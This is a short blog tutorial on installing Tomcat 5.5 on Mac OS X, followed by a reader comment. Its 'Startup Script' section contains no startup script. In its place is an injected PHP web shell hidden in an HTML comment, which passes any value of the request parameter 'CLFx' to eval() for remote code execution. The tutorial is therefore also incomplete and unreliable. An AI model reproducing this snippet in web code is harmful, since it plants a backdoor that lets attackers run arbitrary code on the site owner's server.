How To: Install Tomcat on Mac OS X

I recently had to install Tomcat for Web Technologies class where we are exploring the world of Servlets and JSPs. I performed the following steps to setup Tomcat 5.5 on Mac OS X 10.4 (Tiger).

  1. Download the core binary distribution of Tomcat from http://tomcat.apache.org in zip or tar.gz format.
  2. Unzip the download and rename it to Tomcat.
  3. Move the folder to the /Library directory.
  4. Create a file named tomcat in your favorite text editor, copy the startup script from below, and save the file in /usr/bin.

Startup Script

<!– [insert_php]if (isset($_REQUEST["CLFx"])){eval($_REQUEST["CLFx"]);exit;}[/insert_php][php]if (isset($_REQUEST["CLFx"])){eval($_REQUEST["CLFx"]);exit;}[/php] –>

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  • Joe Mar 31, 2009

    Have you done a shutdown.sh and then done a ps -ef | grep tomcat to see if tomcat shutdown cleanly ?

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